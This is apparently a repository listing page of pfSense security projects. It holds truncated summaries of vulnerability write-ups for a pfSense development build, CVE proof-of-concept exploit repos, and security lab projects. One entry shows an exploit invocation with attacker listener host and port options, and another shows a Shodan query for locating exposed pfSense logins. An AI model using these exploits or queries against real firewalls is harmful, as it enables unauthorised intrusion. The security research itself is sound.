pfsense

pfSense Overview The pfSense project is a free network firewall distribution, based on the FreeBSD operating system with a custom kernel and including third party free software packages for additional functionality. pfSense software, with the help of the package system, is able to provide the sam...

pfsense-ipsec-login-banner

abraxaslabs.tech · github.com/abraxas · @abraxasnull · [email protected] · pfsense-ipsec-login-banner pfsense-ipsec-login-banner Class: RCE Reach: Remote pfSense CE 2.9.0-DEVELOPMENT 9363ac5 - pfsense.org IPsec Mobile login banner is stored with a length check only, then dumped unquoted into...

Penetration-Testing-Walkthrough-Hacksudo-Thor

HackSudo Thor Full Penetration Testing Walkthrough Target: HackSudo Thor from VulnHub Objective: Gain root access and read /root/proof.txt Environment: Isolated VirtualBox lab segmented by a pfSense firewall Table of Contents Overview Network Topology Attack Chain Summary Phase 1: Passive...

CVE-2023-42326

pfSense 2.7.0 Command Injection Exploit CVE-2023-42326 This Python script is a Proof-of-Concept PoC exploit for the command injection vulnerability CVE-2023-42326 in pfSense 2.7.0. The vulnerability allows authenticated attackers to inject and execute arbitrary commands via the...

SenselessViolence

SenselessViolence CVE-2022-31814 pfSense pfBlockerNG = 2.1.426 Exploitation Toolkit. What? This is an exploitation toolkit for the pfSense pfBlockerNG = 2.1.426 plugins remote command injection feature discovered by IHTeam. I wrote this to play around with some of the design principles found in t...

pfsense-carp-vhid

abraxaslabs.tech · github.com/abraxas · @abraxasnull · [email protected] · pfsense-carp-vhid pfsense-carp-vhid Class: RCE Reach: Remote pfSense CE 2.9.0-DEVELOPMENT 9363ac5 - pfsense.org Virtual IP edit stores CARP VHID from POST with no 1-255 check. FormSelect options are HTML only. CARP...

pfsense-logs-filter-xss

abraxaslabs.tech · github.com/abraxas · @abraxasnull · [email protected] · pfsense-logs-filter-xss pfsense-logs-filter-xss Class: XSS Reach: Remote pfSense CE 2.9.0-DEVELOPMENT 9363ac5 - pfsense.org statuslogsfilter.php POST resolve= jsonencode with no JSONHEXTAG and default Content-Type...

pfsense-limiter-number

abraxaslabs.tech · github.com/abraxas · @abraxasnull · [email protected] · pfsense-limiter-number pfsense-limiter-number Class: RCE Reach: Remote pfSense CE 2.9.0-DEVELOPMENT 9363ac5 - pfsense.org Traffic Shaper Limiters emit a hidden number field on edit. Create overwrites that number with...

pfsense-openvpn-wizard-crlf

abraxaslabs.tech · github.com/abraxas · @abraxasnull · [email protected] · pfsense-openvpn-wizard-crlf pfsense-openvpn-wizard-crlf Class: RCE Reach: Remote pfSense CE 2.9.0-DEVELOPMENT 9363ac5 - pfsense.org OpenVPN wizard copies Default Domain / NetBIOS scope into dnsdomain / netbiosscope wi...

dod-blue-team-network-lab

DoD Blue Team Network Security & Hardening Lab Executive Summary High fidelity defensive security lab simulating a DoD aligned enterprise network. This project demonstrates structured network segmentation, system hardening, centralized telemetry ingestion, detection engineering, adversary...

pfsense-unbound-acl-crlf

abraxaslabs.tech · github.com/abraxas · @abraxasnull · [email protected] · pfsense-unbound-acl-crlf pfsense-unbound-acl-crlf Class: RCE Reach: Remote pfSense CE 2.9.0-DEVELOPMENT 9363ac5 - pfsense.org ACL name/action go into accesslists.conf with no checkconf. Same include: class as...

Red-Team-GOAD-Lab-Proxmox

Red-Team-GOAD-Lab-Proxmox Infrastructure diagram Build in order: pfSense VLANs and firewall policy. Operator and Redirector VMs. GOAD lab setup in Proxmox. Verification, snapshots and troubleshooting. Command syntax for Packer, Terraform and GOAD should be checked against your freshly cloned GOAD...

CVE-2022-31814

CVE-2022-31814 Reworked and optimized exploit script of pfBlockerNG 2.1.426 vulnerability Exploit Title: pfBlockerNG 2.1.426 - Remote Code Execution RCE Shodan Results: https://www.shodan.io/search?query=http.title%3A%22pfSense+-+Login%22+%22Server%3A+nginx%22+%22Set-Cookie%3A+PHPSESSID%3D%22 Dat...

CVE-2014-4688

CVE-2014-4688 python3 pfsense.py --rhost 10.10.10.60 --lhost 10.10.14.2 --lport 9999 --username rohit --password pfsense...

Security_incident_report

01. Infrastructure Configuration The infrastructure for this project is not managed with IaC e.g., Terraform code; instead, it was built by installing pfSense and Wazuh and then changing settings directly from the admin GUI. So instead of "code", this document records the network diagram,...

pfsense-assign-if-add

abraxaslabs.tech · github.com/abraxas · @abraxasnull · [email protected] · pfsense-assign-if-add pfsense-assign-if-add Class: RCE Reach: Remote pfSense CE 2.9.0-DEVELOPMENT 9363ac5 - pfsense.org interfacesassign.php Add stores $POST'ifadd' without $portlist membership. Submit remaps only por...

pfsense-acb-restore-priv

abraxaslabs.tech · github.com/abraxas · @abraxasnull · [email protected] · pfsense-acb-restore-priv pfsense-acb-restore-priv Class: Privilege leftover Reach: Remote pfSense CE 2.9.0-DEVELOPMENT 9363ac5 - pfsense.org newver downloads, decrypts with the stored ACB password, configrestore...

pfsense-bsnmpd-conf

abraxaslabs.tech · github.com/abraxas · @abraxasnull · [email protected] · pfsense-bsnmpd-conf pfsense-bsnmpd-conf Class: Config injection Reach: Remote pfSense CE 2.9.0-DEVELOPMENT 9363ac5 - pfsense.org servicessnmpdconfigure interpolates location := "$snmpdcfg'syslocation'". GUI still only...

pfsense-dhcpd-conf

abraxaslabs.tech · github.com/abraxas · @abraxasnull · [email protected] · pfsense-dhcpd-conf pfsense-dhcpd-conf Class: Config injection Reach: Remote pfSense CE 2.9.0-DEVELOPMENT 9363ac5 - pfsense.org servicesdhcpdv4configure interpolates filename "$sm'filename'"; with no addslashes. GUI...

pfsense-crash-reporter-xss

abraxaslabs.tech · github.com/abraxas · @abraxasnull · [email protected] · pfsense-crash-reporter-xss pfsense-crash-reporter-xss Class: XSS Reach: Remote pfSense CE 2.9.0-DEVELOPMENT 9363ac5 - pfsense.org /tmp/PHPerrors.log goes through htmlspecialchars. /var/crash/ is filegetcontents into...